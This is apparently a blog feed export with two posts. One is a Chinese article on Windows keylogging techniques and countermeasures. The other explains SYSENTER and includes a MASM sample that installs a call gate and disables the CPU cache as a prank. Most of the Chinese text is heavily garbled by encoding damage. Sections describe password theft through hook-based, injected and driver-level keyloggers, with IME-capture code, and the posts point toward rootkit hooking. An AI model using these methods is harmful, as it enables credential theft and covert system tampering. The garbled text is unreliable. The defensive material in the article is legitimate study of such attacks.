??xml version="1.0" encoding="utf-8" standalone="yes"?> 键盘作ؓ计算机的主要输入讑֤Q是大部分输入信息的主要来源Q但是我们每天从键盘输入的信息安全吗Q随着互联|的普及Q各U网l应用也是层ZIP电子购物Q网上聊天等{等{,每天我们都会在各U程序上输入各式各样得分密码啊用户名啊银行卡号啊Q你认ؓq些U密安全吗?那位同学要说了:”没事啊,不都是有保护措施吗,像什?/span>QQ的号U无懈可ȝnprotect技术,|银也有各种安全插gQ没事的Q?/span>” “呵呵Q真的像他们说的那摩安全吗,那可不一定,没有什么是l对?/span>”Q下面我们就来看看键盘的U密Q看看黑客们是如何记录你的键盘操作的Q以及我们该如何抵Mq些猥琐的攻L式?/span> 一.键盘的硬件模?/span> 其实键盘应该是计算Z最单的讑֤了,在我们用的普通的计算机系l中Q与键盘有关的硬件说白了也就是两个芯片,i8048?/span>i8042 ?/span>i8042也就?/span>intel8042,位于L?/span>,CPU通过IO端口?/span>i8042通信,i8042负责d键盘按键的扫描吗或是发送个中键盘命?/span>.i8048,它是位于键盘中的,是将键盘上的按键转换成所谓的扫描码的Q然后传送给i8042。呵呵,是q末单个东西。上面说的都是比较老的计算机的l构了,现在q些芯片都集成到南桥芯片l里面去了,不过原理q是q样的?/span> 当我们按下一个键与抬L时候都会触发键盘的中断Q在老早的计机中都是采用两?/span>i8259A芯片U联来管理中断的Q键盘挂在主片的IRQ1引脚上,当有按键按下或抬h会引发硬件中断,然后会调用相应的中断处理E序q行处理. 在实模式与保护模式下对于中断的处理是不同的。在实模式下我就不说了,也记不的了,自己看看微机原理。在保护模式下是采用IDT对中断进行管理的Q在IDT中是各种各样的门啊,啥中断门Q陷阱门Q调用门啊等{等{,对于键盘中断?/span>XP下对应的?/span>0X31号中断服务,但也有的XP对应的事0x93Q原因我也不太明白,反正在我的系l上?/span>0x31受?/span> 好了既然都已l都调用中断处理E序了,那么在经q一pd复杂的处理最l我们就可以在应用层上舒舒服服的?/span>WORD打字了?/span> 好了Q硬件这块就说到q,下面用到了相关的我们在说?/span> ?/span>.猥琐的键盘记录器 对于那些盗号的所谓的黑客我是很不齿的Q这里我们要探讨一些窃取键盘信息的Ҏq不是围了写个键盘记录的盗号E序Q我们只是站在攻防对立统一的角度来看各式盗hD,q给出相关的防M措施. 我知道的一些盗L手段也不多,而且都是一些比较普遍的手法Q有些也都是L辈的技术了Q不q现在还是很好用Q好多盗Lq是用这些土枪土炮打打打打劫… WINDOWSpȝ是分为应用层与内核层的,?/span>CPU的角度看是RING3?/span>RING0。应用层是受制的,不可q行端口IOQ不可执行特权指令,限制多多。内核就不说了,惛_嘛就q吧?/span> 我也是按照应用层与内怸个层面进行讨论的。好了废话太多了Q进入正题吧. 1.L辈的WM_GETTEXT消息获取密码 用过MFC的都知道密码框吧Q就那个******的框子,他其实是个文本框只不q是加了密码属性而已Q本质上q是文本框。对于文本框我们可以通过对其发送DQ_QIQ_QQ消息来获取密码的。不q还有点问题Q在WIN98pd中这样就OK了,但是NT后,你要是对着密码框大?/span>WM_GETTEXT是没用的Q密码框会说:“你又不是我们安的,我凭啥把密码告你?#8220;.其实q是跟操作系l有关的Q在WIN98下所用的q程是共享一?/span>4GB的虚拟内存的Q那个就没什么你的我的了Q所有的都是大家共有的,所以一个进E对另一个进E发送一?/span>WM_GETEXT消息Q应为大安是自׃h所以密码就告你了。但是到?/span>NT后各个进E就闹分家了Q每个进E独?/span>4GB的虚拟内存,各个q程之间是互盔RȝQ所以就没h理你了?/span> 我们要采用些Ҏ的手D|能成功。也是要把你的那段发?/span>WM_GETTEXT消息的代码移到目标进E中L行,Ҏq是有的Q我使用的远E线E技术,也就是将一个功能模块诸如到目标q程中然后执行,q样?/span>OK了。对于如何进行线E注入,Ҏ很多Q?/span>google一下就可以了?/span> 原理是q样很简单,问题在怎样在目标进E中L行代码,q种Ҏp到这把?/span> 2.屠夫的钩?/span> 呵呵Q玩q?/span>dota吗,对就是屠夫用的钩子,?/span>windows中同h钩子Q而且也是相当的犀利?/span> 使用钩子相当的简单,׃?/span>API函数 SetWindowsHookExQ不q内涵很丰富Q在windows下存在各式各L钩子Q消息钩子,鼠标钩子Q键盘钩子,日志钩子Q等{,具体的看?/span>MSDNQ这些钩子各有各的用途,对于黑客们来说主要会用到消息钩子Q键盘钩子与日志钩子Q这些钩子都可以用来监控键盘Q下面分别来?/span>. (1)往日黄?/span>?/span>键盘钩子 不要qh哥,哥只是个传说?/span> ------一脑残儿童?/span> 键盘钩子在当q可是相当的辉煌Q在那个Rootkitq不是很盛行的年代,各种盗号软g 几乎L和他联系在一LQ只不过q几q由于所谓的d防M杀软的出现Q这U技术才慢慢的消?/span>. 键盘钩子分ؓ全局钩子与局部钩子。键盘钩子安装之后可以截hq程的键盘信息。局部钩子只可以截获安装U程的键盘信息。既然要盗号吗,当然?/span>IC卡,IQ卡统l告诉我密码Q要大面U撒|,p安装全局钩子?/span> 键盘钩子也分ZU:普通的键盘钩子与低U键盘钩子。对于这两种钩子的区别我自己在编E中ȝ的是Q低U键盘钩子可以截获一些系l按键,比如Windows健,但是普通的׃行了。我曄写了个玩Dota时屏?/span>Windows健的用的是低U钩子,普通的不行.如果只是拦截个一般的按键两种钩子无所谓了. 具体的编E很?/span>:调用SetWindwosHookEx函数,参数填?/span> WH_KEYBORADQ普通钩子)或?/span>WH_KEYBOARD_LLQ低U钩子)Q然后写个钩子的回调函数Q在回调函数里面可以获取按键的虚拟键码了,在讲虚拟键码l过处理得到我们想要的?/span>. 再提一点就是关?/span>SHIFT键状态与Caps?/span>Num状态的,只要调用GetKeyState函数可以了Q具体的不说了,自己?/span>MSDN吧?/span> Q?/span>2Q竹林蹊?/span>?/span>日志钩子 日志钩子是用来拦截输入到pȝ消息队列中的输入消息的钩子,键盘消息既然属于输入消息Q那勾住吧?/span> 用法也是so easyQ调?/span>SetWindwosHookEx函数传?/span>WH_JOURNALRECORD参数l他,在他的回调函数里面有个指?/span>EVENTMSG的指针,l构如下Q?/span> typedef struct { UINT message; UINT paramL; UINT paramH; DWORD time; HWND hwnd; } EVENTMSG, *PEVENTMSG; 我们只拦?/span>message ==WM_KEYDOWN的消息,是按键按下的消息啦Q然?/span>paramL&0x000000FF的值就是虚拟键码,剩下的和键盘钩子׃样了Q不说了Q下一节吧?/span> Q?/span>3Q完的世界---中英文记录的消息钩子 到目前ؓ止我们记录到得都只是?/span> abc123q些的字母数字,那位朋友要说了Q我要知道他在网上的聊天内容Q行吗?消息钩子q出来?/span>,”no problem,记录中文俺拿手啊 消息钩子Q见名知意,肯定是用来过滤消息的。我们先来了解一个概?/span>”IME””. IME 是输入法~辑?/span>(Input Method Editor) 的英文羃?/span>(IME)Q它是一U专门的应用E序Q用来输入代表东亚地Z面语a文字的不同字W?/span> 说白?/span>,我们qx输入汉字时其实都是跟q个IME打交道的?/span>IME也是会发出很多的消息的,?/span> WM_IME_CHAR WM_IME_COMPOSITION WM_IME_COMPOSITIONFULL WM_IME_CONTROL WM_IME_ENDCOMPOSITION WM_IME_KEYDOWN WM_IME_KEYUP WM_IME_NOTIFY WM_IME_REQUEST WM_IME_SELECT WM_IME_SETCONTEXT WM_IME_STARTCOMPOSITION 我们现在主要兛_一个消?/span>WM_IME_COMPOSITIONQ就是当要拼Z个字的时候会发出q个消息.Qƈ且副参数?/span>GCS_RESULTSTR的时候,p明输入完了,可以拼出的句子d来了Q这得C汉字?/span>.,下面为参考代?/span>: /* this code from ZWELL 获得输入法处理后的字W串 */ if(pmsg->message==WM_IME_COMPOSITION){ DWORD dwSize; char lpstr[128]; if(pmsg->lParam & GCS_RESULTSTR){ //先获取当前正在输入的H口的输入法句柄 hIMC = ImmGetContext(hWnd); if(!hIMC) return 0; // 先将ImmGetCompositionString的获取长度设?/span>0来获取字W串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // ~冲区大要加上字符串的NULLl束W大?/span>, // 考虑?/span>UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, sizeof(lpstr)); // 再调用一?/span>.ImmGetCompositionString获取字符?/span> ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面x输入的汉字了。你可以处理lpstr,当然也可以保存ؓ文g... //MessageBox(NULL, lpstr, lpstr, MB_OK); 其实在输入汉字的时候也是会发出WM_CHAR?/span>WM_KEYDOWNq些消息的,只不q?/span>WM_CHAR的参C输入英文是是不同的。汉字的输入实际上是两个WM_CHARQ用内码可以判断是否输入的是否是汉字字W。如果是Q汉字两个字节的最高位都是1Q连l两ơ判断就可以做到。即每次?/span>CHAR字符的最高位是否?/span>1Q如果是Q记住这个字W,然后当下CHAR字符来到是,如果最高位q是1Q就可以这两个字符合成汉字。这样就可以记录一个汉字了?/span> 至于WM_KEYDOWN可以用来记录?/span>ASCII的按键,?/span>F1—F12Q?/span>TABQ?/span>ENTER{等?/span> q样是中英文完的键盘记录?/span>. (4)用惔巴胡个墙?/span>.---应用层的抗击 应用层键盘记录的伎俩就说这几种吧(呵呵Q俺也就会这几种Q?/span>,既然要攻防统一Q那我们来谈谈如何来防御吧。在应用层防御个人感觉很是鸡肋的Q实C很是ȝQ效果也不好Q不q还是说说吧Q?/span> 首先说说全局键盘钩子吧,全局键盘钩子是不能独立存在的Q他必须附加一个动态链接库文gQ因为全局钩子是要监控所有的q程的,所以这个模块就要注入到其他的进E的地址I间中去Q所以要写一个单独的模块?/span> 我们知道?/span>Windows下加载一个模块时使用?/span>API?/span>LoadLibrary函数Q这个函数内部又会调?/span>LoadLibraryEx函数Q?/span>windows底层?/span>UINCODE的,所以应该调用的?/span>LoadLibraryExW。如果我们写的正常程序,如果调用?/span>LoadLibrary那摩LoadLibraryExW函数的返回地址应该位于Kernel32.dll中,或者我们就是直接调用了LoadLibraryExW那摩q回地址应该位于我们的程序中。但是如果是被装了钩子后Q当你按下一个健后,pȝ会下按键焦点E序的地址I间中加载黑客写的键盘记录模块,调用的是LoadLibraryExWQ那摩这个函数的q回地址׃是以上的两种情况了,l我是实验是位于user32.dll中。哈哈,Ҏq一Ҏ们就可以判断一个模块是否ؓ非法加蝲模块?/span>. 原理是q样啦。具体的实现要用?/span>APIHook技术了。在?/span>Windwos核心~程》中有简l的。可?/span>HOOKIAT也可?/span>InLineHookQ我用的?/span>InLineHokkQ在自己写的HOOk函数中首先获?/span>[ESP]的|q个是q回gQ具体ؓ什么应该都明白吧,不明白就找本汇编书好好补补吧。那摩就拿这个返回值去比较可以了。简单吧。?/span> 当然对于HOOKAPI你也可以用微软的那个Hook库,那就更简单了?/span> 只能是不够的,太被动了Q我们应该主动出凅R?/span> Windows下的钩子逻辑上是一个链状的Q一个系l中可以安装很多的钩子,q些钩子会Ş成一个钩子链Q先装的钩子在最前头Q前面的钩子通过调用CallNextHookEx函数信息传l后面的钩子Q如不不调用q个函数那摩铑֭断了,后面的钩子永q互惠获取信息?/span> 好了Q聪明的你一定想C。对Q我们不往下传递信息,我们自己处理Q让下面的钩子瞪着眼着急去吧?/span> 具体做法为:我们在我们的E序中装上局部钩子,在局部钩子的回调函数中我们截h键消息,我们自己存v来,然后再给密码框发个假消息Q比如按下了A健,我们用我们的局部钩子截获了A健消息,我们保存hQ然后我们给密码框发个假消息Q,p我们接受C?/span>B健,然后让不调用那个CallNextHookEx函数Q而是直接q回1Q这样下面的钩子?/span>game over ?/span>. 好了Q应用层的键盘监控与反监控就说这些吧Q由于杀毒Y件的发展Q特别是所谓的?/span>Xd防M的出玎ͼq些都已q了历史的垃圑֠了,现在?/span>RootKit的时代,打劫也要讲与时俱q,下面我们来看看ring0下的键盘记录的手D吧?/span> 3.新的战场Q新的战?/span>—rootkit的疯?/span> 人都是属驴的Q不打不逼是不会走的. ----------俺的一位老师说的 ?/span>ring3下猥琐黑客们的安逸被被杀软打破了Q生存还是死亡。当然是要生存下MQ怎没办?”TMD,反了Q我们要和杀软对着q?/span>”。游戏规则被改变了。。黑客Y件不在是只做老鼠被杀软这只大猫到处撵q跑Q老鼠要吃猫啦?/span> 4.中规中矩----键盘qo驱动 既然C内核的领圎ͼ那我们就来看看在内核中是如何处理按键消息的,我们从按下一个健到我们在WORD看到q个字母Q究竟发生了什?/span>,下面是网上说?/span>: /*引用?/span>: http://hi.baidu.com/buzztiger/blog/item/a851712b 写过windowsE序的h都知道,win32E序是基于消息驱动的Q其中就有键盘消息,q个消息其实?/span>csrss.exeq个q程发送给应用E序的,而在应用E序中我们可以?/span>setWindowsHook的方法来获得键盘消息Q从而实现改键啊Q捕捉用h键内宏V那?/span>csrss.exeq个q程的键盘消息是怎么来的呢?原来csrss.exe中有?/span>win32!RawInputThreadq个U程Q这个线E通过一?/span>GUIDQ即GUID_CLASS_KEYBOARDQ?/span>DEFINE_GUID(GUID_CLASS_KEYBOARD, 0x884b96c3, 0x56ef, 0x11d1, 0xbc, 0x8c, 0x00, 0xa0, 0xc9, 0x14, 0x05, 0xdd)来获得键盘设备栈?/span>PDO的符号链接名?/span>win32!RawInputThread执行?/span>win32k!openDeviceQ调?/span>zwCreateFile打开讑֤Q然后调?/span>zwReadFile与键盘驱动通信了。它会创Z?/span>IRP_MJREAD?/span>IRP发送给键盘驱动Q而键盘驱动通常使这?/span>IRP PendingQ这样它׃一直被攑֜那里{待Q等来来自键盘的数据Q即win32!RawInputThreadq个U程也会一直等待,{待q个L作的完成。当键盘有键按下时这?/span>IRP会完成Q?/span>win32!RawInputThread对得到的数据进行处理,分发l合适的q程Q通常是获得焦点的q程Q这?/span>win32!RawInputThread又会立即再调?/span>nt!ZwReadFile要求d数据Q又开始了下一个等待,周而复?/span> /*引用l束*/ 键盘的驱动栈从上C依次?/span>:kbdclass.sys---ài8042port.sys---àacpi.sys 其中kbdclass.sys为键盘的c驱动,不管?/span>PS/2键盘q是USB键盘都要通过q一层驱动,所以在q一层进行过滤可以有和好的兼Ҏ?/span> I8042port.sys?/span>PS/2键盘的端口驱动,q个只对PS/2键盘好用Q?/span>USB键盘他管不了的?/span> 对于键盘的过滤驱动,我选择是在kbdclass.sysq行qo. 具体做法Q?/span> 1.使用ObReferenceObjectByName获取”\\Driver\\Kbdclass”所对应的驱动对象?/span> 2.枚Dq个驱动对象下的所有设备,q创Z个过滤设备附加上?/span>. 3.主要处理IRP_MJ_READq个IRP。首先设|一个完成函敎ͼ然后向下转发?/span>IRP?/span> 4.在完成函C可以获取此ơ的案g的扫描码了?/span> 5.对于IRP_MJ_POWER, IRP_MJ_PNP也要q行处理. 呵呵Q很单吧Q驱动入门?/span>Hello Wolrd?/span> 5.乑֝大挪U?/span>----HOOKIDT与操U?/span>APIC 在前面我们讲到在按下一个键与抬L时候会触发一个硬件中断,XP下,操作pȝ回去调用 0x31?/span>0x93中断处理E序区处理。那么我们可不可以自己写一?/span>ISRL键盘中断呢,Q当Ӟ别忘了,我们是在内核中现在,我们无所不能 ?/span> 我们知道在保护模式下是采?/span>IDTq行中断理的,IDT是有许多门组成的。每个闷得结构如?/span>: typedef struct IDTEntry { HB_U16 LowOffset ;//偏移的低16?/span> HB_U16 Selector ;//选择?/span> HB_U8 Count:5; //参数的双字计?/span> HB_U8 Reserve:3 ;//保留?/span>0 HB_U8 Type:4 ;//cd HB_U8 DT0:1; //DT=0,pȝD|q符 HB_U8 DPL:2; //DLP HB_U8 P:1; //P?/span> HB_U16 HightOffset;//偏移的高16?/span> }IDTEntry,*PIDTEntry; 其中Lowoffset?/span>HighOffset构成了实际的中断处理程序的地址.。我们如果自己写一个中断处理程序,然后修改Lowoffset?/span>HighOffsetQ让其指向我们自q写的那个函数不久可以了吗.. 在我们自q键盘中断处理函数中我们可以直接将数据?/span>i8042的端口读出,存储hQ然后再调用原先的系l默认的函数Q这样就不知鬼不觉的达到的不可告h的目?/span>. q有一U方法用的手段于此怼Q也是替换,不过q次是将键盘?/span>IRQ1中断的处理函数的中断向量更改Q不在是指向0x31或是0x93了,而是指向另一个向?/span>.q个向量包含我们自己的处理程?/span>.Q这是APIC机制.。不q我的这个破W记本比较老了Q没有这个机Ӟ 所以只能纸上谈兵了.,q是先简l一?/span>APIC?/span>. APIC是可以用于多个核心的CPU的新型中断控制器,APIC的作用相当于当一?/span>IRQ发生Ӟq个g军_?/span>IRQ发个呢个CPU核心,以及一何种形式发送等?/span>APIC是可~程的,也可以将PS/2键盘的硬件中断请求发l某?/span>CPU核心Q让该核心的IDT中的某个中断号对应的中断服务E序来处?/span>. Windows?/span>APIC的系列寄存器映射C地址0xFEC00000?/span>0xFEC00010的位|?/span> 也就是说我们可以通过~程来进行中断的重定位,具体操作看着APIC的说明添L据就可以了,其实?/span>HOOKIDT一L。就不多说了. 6.q璞归真?/span>轮询i8042 有时候其实一个问题的解决Ҏq不是月复杂p强悍Q有时候简单的土的掉渣的技术反而是最E_?/span> 轮询Q这U古老的技术,虽然׃效率低下已经早已被淘汎ͼ但是我们需要的正是q个?/span> 键盘是可以通过~程关闭中断的,但是当我们按下一个健的时候,键盘的输出缓冲区中仍然会有扫描码填充Q只是中断关闭了Q操作系lƈ不知道?/span> 我们的做法是Q首先关闭键盘的中断Q然后通过轮询的方法读取输出端口的案g扫描码,自己q行一些处理,然后打开键盘中断Q再此按键重放Q这h作系l会获取q个按键Q然后在关闭中断Q一直这样@环下厅R?/span> 原理是q样Q简单也很可靠,我最l的密码保护是采用q个Ҏ的?/span> 我的E序分了三个层次: 因ؓ?/span>Ring3下无法读写端口的Q所以自己写了个驱动Q负责读写端口,RING3上蝲写个DLL通过DeviceIoControl与内核进行通信Q传递端口地址与设|的值等信息,q对上面的应用程序提供简单的?/span>READ_PORT(ULONG port),q样的接口?/span> 在应用程序中Q在要保护的密码框获取焦Ҏ(处理WM_SETFOCUS消息),则关闭键盘中断进行轮?/span>,在市区焦Ҏ则打开键盘中断.在获取按键后你可以在E序中记录下来,再在密码框中填充个假的密码?/span> ׃是不间断的轮询所以保证在W一旉获取扫描码,在上层的如过滤驱动,HOOKIDT{?/span> q有应用层得到钩子啥的,l统失效Q实践证明还是很可靠的,只不q还不是很完善,目前只支?/span>PS/2键盘Q?/span>USB的还不行. 7.我们?/span>OUT?/span>----g键盘记录?/span> 日防夜防Q家贼难防啊Q要是硬件上做了手脚Q那p?/span>55555555555…… 看看q个猥琐的家伙吧…高科技?/span> 好了Q该l尾了,呵呵Q现在你q信你的键盘吗?
/*****************************************************************************************/
]]>
指o可用于特权 3 的用户代码调用特权 0 的系l内总码,?SYSEXIT 指o则用于特权 0 的系l代码返回用L间中。sysenter ?/p>
令可以在 3Q?Q? q三个特权别调用(Linux 中只用到了特权 3Q,?SYSEXIT 指o只能从特权 0 调用?/p>
执行 sysenter 指o的系l必L两个条Ӟ1.目标 Ring 0 代码D必Lq_模式QFlat ModeQ的 4GB 的可d执行的非一致代码段?/p>
2.目标 RING0 堆栈D必Lq_模式QFlat ModeQ的 4GB 的可d写向上扩展的栈段?/p>
?Intel 的手册中Q还提到?sysenter/sysexit ?int n/iret 指o的一个区别,那就?sysenter/sysexit 指oq不成对Qsysenter ?/p>
令ƈ不会?SYSEXIT 所需的返回地址压栈Qsysexit q回的地址q不一定是 sysenter 指o的下一个指令地址。调?sysenter/sysexit 指o
地址的蟩转是通过讄一l特D寄存器实现的。这些寄存器包括Q?/p>
SYSENTER_CS_MSR Q?用于指定要执行的 Ring 0 代码的代码段选择W,由它q能得出目标 Ring 0 所用堆栈段的段选择W;
SYSENTER_EIP_MSR Q?用于指定要执行的 Ring 0 代码的v始地址Q?/p>
SYSENTER_ESP_MSRQ用于指定要执行的Ring 0代码所使用的栈指针
q些寄存器可以通过 wrmsr 指o来设|,执行 wrmsr 指oӞ通过寄存?edx、eax 指定讄的|edx 指定值的?32 位,eax 指定值的
?32 位,在设|上q寄存器Ӟedx 都是 0Q通过寄存?ecx 指定填充?MSR 寄存器,sysenter_CS_MSR、sysenter_ESP_MSR?/p>
sysenter_EIP_MSR 寄存器分别对?0x174?x175?x176Q需要注意的是,wrmsr 指o只能?Ring 0 执行?/p>
q里q要介绍一个特性,是 Ring0、Ring3 的代码段描述W和堆栈D|q符在全局描述W表 GDT 中是序排列的,q样只需知道
SYSENTER_CS_MSR 中指定的 Ring0 的代码段描述W,可以推出 Ring0 的堆栈段描述W以?Ring3 的代码段描述W和堆栈D|q符?/p>
?Ring3 的代码调用了 sysenter 指o之后QCPU 会做出如下的操作Q?/p>
1Q??SYSENTER_CS_MSR 的D载到 cs 寄存?/p>
2Q??SYSENTER_EIP_MSR 的D载到 eip 寄存?/p>
3Q??SYSENTER_CS_MSR 的值加 8QRing0 的堆栈段描述W)装蝲?ss 寄存器?/p>
4Q??SYSENTER_ESP_MSR 的D载到 esp 寄存?/p>
5Q?特权切换?Ring0
6Q?如果 EFLAGS 寄存器的 VM 标志被置位,则清除该标志
7Q?开始执行指定的 Ring0 代码
?Ring0 代码执行完毕Q调?SYSEXIT 指o退?Ring3 ӞCPU 会做出如下操作:
1Q??SYSENTER_CS_MSR 的值加 16QRing3 的代码段描述W)装蝲?cs 寄存?/p>
2Q?寄存器 edx 的D载到 eip 寄存?/p>
3Q??SYSENTER_CS_MSR 的值加 24QRing3 的堆栈段描述W)装蝲?ss 寄存?/p>
4Q?寄存器 ecx 的D载到 esp 寄存?/p>
5Q?特权切换?Ring3
6Q?l箋执行 Ring3 的代?/p>
由此可知Q在调用 SYSENTER q入 Ring0 之前Q一定需要通过 wrmsr 指o讄?Ring0 代码的相关信息,在调?SYSEXIT 之前Q还要保?/p>
寄存器edx、ecx 的正性?/p>
Ҏ Intel ?CPU 手册Q我们可以通过 CPUID 指o来查?CPU 是否支持 sysenter/sysexit 指oQ做法是?EAX 寄存器赋?1Q调?
CPUID 指oQ寄存器 edx 中第 11 位(q一位名UCؓ SEPQ就表示是否支持。在调用 CPUID 指o之后Q还需要查?CPU ?Family、Model?/p>
Stepping 属性来认Q因为据U?Pentium Pro 处理器会报告 SEP 但是却不支持 sysenter/sysexit 指o。只?Family 大于{于 6QModel
大于{于 3QStepping 大于{于 3 的时候,才能认 CPU 支持 sysenter/sysexit 指o?/p>
/=============================================================================
//在WINDBG中对NTDLL.dll中的NtCreateFile函数的调试信?br>ntdll!NtCreateFile:
7c92d682 b825000000 mov eax,25h
7c92d687 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c92d68c ff12 call dword ptr [edx]
7c92d68e c22c00 ret 2Ch
lkd> dd 7ffe0300
7ffe0300 7c92eb8b 7c92eb94 00000000 00000000
lkd> u 7c92eb8b
ntdll!KiFastSystemCall:
7c92eb8b 8bd4 mov edx,esp
7c92eb8d 0f34 sysenter
/**************************************************************/
SYSENTER介及相关例子
文章作者:wowocock1/CVC.GB
;众所周知微Y自XP后引q了FASTCALL SYSENTERQSYSEXIT来代替WIN2K下INT2Epȝ服务调用
;其优Ҏ快速而且没有保留堆栈的开销Qؓ了便于大家理解我写下面一个在WIN98下的例子
;来说明一下这2条指令的用法。ITNEL的手册上关于他们介绍的很详细Q我要说明一?br>;SYSENTER是INTEL自P2后引q的快速从RING3~RING0的FASTCALLQ从FAMILY 6QMODEL 3Q?br>;STEP 3也就是从PII300以后引进的,q也是ؓ什么WINXP需要PII300以上的原因。在使用SYSENTER
;之前必须定义好RING0 CS EIP ESPQ通过讄相应MSR寄存?由WRMSR指o来设定(必须在RING0层执行);
;通过相应的寄存器地址h入ECX中,WRMSR可以讄q些MSR寄存?对应关系如下
;SYSENTER_CS_MSR 174H SYSENTER_ESP_MSR 175H SYSENTER_EIP_MSR 176H
;执行SYSENTER指o的系l必L?1Q{换后的RING0代码D必LFLATQ?GB的可d执行
;的非一致代码段.2:转换后的RING0堆栈D必LFLATQ?GB的可d写向上扩展的数据D?br>;׃FASTCALL不保存Q何返回的地址Q所以在调用前你必须自己讑֮好,RING0代码DSELECTOR
;RING0堆栈DSELECTORQRING3代码DSELECTORQRING3堆栈DSELECTORQ必dGDT中连l的排列
;所以在XP下相应的SELECTORQ必然是8HQ?0HQ?BHQ?3HQ必dq回至RING3 EIP,ESP通过寄存?br>;传递进RING0以便SYSEXITq回使用Q在SYSEXITq回之前QEDX为RING3 EIPQECX为RING3 ESP
;而相应的CSQSSQ则由RING0 CS加上10HQ?8H来返?br>;RING3~RING0
;1. 装蝲SYSENTER_CS_MSR 到CS 寄存?
;2. 装蝲SYSENTER_EIP_MSR?EIP寄存器?
;3. SYSENTER_CS_MSR+8 装蝲到SS寄存?
;4.装蝲SYSENTER_ESP_MSR 到ESP寄存器?
;5. 切换RING0.
;6. 清除 EFLAGS?VM标志
;7. 执行RING0例程
;RING0~RING3
;1。SYSENTER_CS_MSR+16装蝲?CS寄存?br>;2. EDX的值送入EIP
;3. SYSENTER_CS_MSR+24 装蝲到SS寄存?
;4. ECX的值送入ESP
;5.切换回RING3
;6. 执行EIP处的RING3指o
;下面的例子在C的基上加了个TRICKQ就是在通过CALLGATEqRING0讄MSR寄存器的同时
;x了你机器上的~存Q然后你可以看看在没有缓存的情况下你的感觉如何,然后点击一?br>;对话框,则经由SYSENTER指oq入RING0讑֮好的地址处恢复你CPU~存Q所以别担心Q还?br>;没有~存的时候你的动作最好慢一点,不然会让你等的发疯的Q呵c?br>.686p
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
sysenter macro
db 0fh,34h
endm
sysexit macro
db 0fh,35h
endm
CR0_CD EQU 040000000h ; Cache Disable bit of CR0
CR0_NW EQU 020000000h ; Not Write-through bit of CR0
.data
Ring0Cs dw 0ffffh,0,09b00h,0cfh
Ring0Ss dw 0ffffh,0,09300h,0cfh
Ring3Cs dw 0ffffh,0,0fb00h,0cfh
Ring3Ss dw 0ffffh,0,0f300h,0cfh
trR dw ?
tssRing0Esp dd ?
GdtLimit dw ?
GdtAddr dd ?
Callgt dq 0 ;call gate’s selff
tmpCs dw ?
szTitle db "CPU info",0
msg db 100 dup (?)
Nightmare db "切换到其他窗口,尝没CACHE的滋?",0
.code
Start:
mov ax,ds
test ax,4
jz Exit;winnt
xor eax,eax
cpuid
lea edi,msg
xchg eax,ebx
stosd
xchg eax,edx
stosd
xchg eax,ecx
stosd
invoke MessageBoxA,0,addr msg,addr szTitle,0
mov eax,1
cpuid
test edx,800h
jz Exit
mov eax,2
cpuid
SetSel:
sgdt GdtLimit
str word ptr trR ;存储d寄存?br>;-----------------------
; get the tr mes
;-----------------------
movzx esi,trR
add esi,GdtAddr ;ESi指向GDT中TSS描述?br>mov eax,[esi+2]
and eax,0ffffffh
mov ebx,[esi+4]
and ebx,0ff000000h
or eax,ebx ;eax中保存TSS的基地址
push dword ptr[eax+4]
pop dword ptr [tssRing0Esp] ;保存RING0使用的堆栈地址
movzx eax,GdtLimit ;在GDT的最后选取四个表目预讄4个描q符存入
test al,1
jz @f
inc eax
@@:
sub eax,4*8
mov tmpCs,ax
add eax,GdtAddr
lea esi,Ring0Cs
mov edi,eax
mov ecx,4*8
rep movsb
SetMsr:
;-------------------------------------
; 在GDT中寻扄白表Ҏ刉调用门
;-------------------------------------
mov esi,GdtAddr
movzx eax,GdtLimit
call Search_XDT
;esi==gdt Base
mov esi,dword ptr GdtAddr
push offset Ring0_SetMsr
pop word ptr [esi+eax+0]
pop word ptr [esi+eax+6] ;Offset
mov word ptr [esi+eax+2],28h
mov word ptr [esi+eax+4],0EC00h ;sel=28h and attribute ->386 call gate!
and dword ptr Callgt,0
mov word ptr [Callgt+4],ax
pushad
call fword ptr [Callgt] ;Ring0!
popad
mov dword ptr [esi+eax+0],0
mov dword ptr [esi+eax+4],0
invoke MessageBoxA,0,addr Nightmare,addr Nightmare,0
lea edx,Exit
mov ecx,esp
sysenter
Exit:
push 00000000h ; Exit program
call ExitProcess
;----------------------------------------------------------------------
Ring0_SetMsr:
mov ecx,174h
movzx eax,tmpCs
wrmsr
inc ecx
mov eax,tssRing0Esp
wrmsr
inc ecx
lea eax,Ring0Ip
wrmsr
mov eax,cr0 ; read CR0
or eax,CR0_CD ; set CD but not NW bit of CR0
mov cr0,eax ; cache is now disabled
wbinvd ; flush and invalidate cache
; the cache is effectively disabled at this point, but memory
; consistency will be maintained. To completely disable cache,
; the following two lines may used as well:
or eax,CR0_NW ; now set the NW bit
mov cr0,eax ; turn off the cache entirely
retf
;----------------------------------------------------------------------
Ring0Ip:
pushad
pushf ; save the flags
cli ; disable interrupts while we do this
mov eax,cr0 ; read CR0
and eax,0dfffffffh ; now set the NW bit
mov cr0,eax ; turn on the cache entirely
and eax,0bfffffffh ; set CD but not NW bit of CR0
mov cr0,eax ; cache is now Ensabled
popf ; restore the flags
mov eax,cr0
mov [esp+4*7],eax
popad
sysexit
;----------------------------------------------------------------------
Search_XDT proc near
;entry esi==Base of Ldt or GDT ;Eax==Limit
pushad
mov ebx,eax
mov eax,8 ; skipping null selector
@@1:
cmp dword ptr [esi+eax+0],0
jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3
@@2:
add eax,8
cmp eax,ebx
jb @@1 ;if we haven’t found any free GDT entry,
;lets use the last two entries
mov eax,ebx
sub eax,7
@@3:
mov [esp+4*7],eax ; return off in eax
popad
ret
Search_XDT endp
end Start
;=======================================================================================================
1 【原创】rootkit hook之[六] -- sysenter Hook
--------------------------------------------------------------------------------
?? 【原创】rootkit hook之[六] -- sysenter Hook
?? combojiang
?? 2008-02-26,12:25
?? http://bbs.pediy.com/showthread.php?t=60247
呵呵Q今天这内容少Q比较简单?/p>
